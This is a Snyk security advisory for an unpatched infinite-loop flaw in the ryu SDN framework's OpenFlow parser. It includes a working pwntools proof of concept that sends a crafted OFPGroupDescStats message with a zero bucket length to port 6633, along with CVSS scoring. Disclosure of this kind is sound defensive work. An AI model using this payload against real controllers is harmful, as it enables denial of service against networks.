Infinite Loop Affecting ryu package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

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  • Snyk ID SNYK-PYTHON-RYU-6809229
  • published 6 May 2024
  • disclosed 5 May 2024
  • credit ErodedElk

How to fix?

There is no fixed version for ryu.

Overview

ryu is a Component-based Software-defined Networking Framework

Affected versions of this package are vulnerable to Infinite Loop due to the improper handling of OFPGroupDescStats in *parser.py. An attacker can trigger an infinite loop by setting OFPBucket.len to 0.

PoC

from pwn import *
p=remote("0.0.0.0",6633)
brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
brk+=b"\x00\x28\x00\x00"
brk+=b"\x00\x00\x00\x00"
bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
# brk+=bytes.fromhex(bucket)
brk+=bytes.fromhex(bucket)
p.send(brk)
p.interactive()

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    None
  • Availability (A)
    High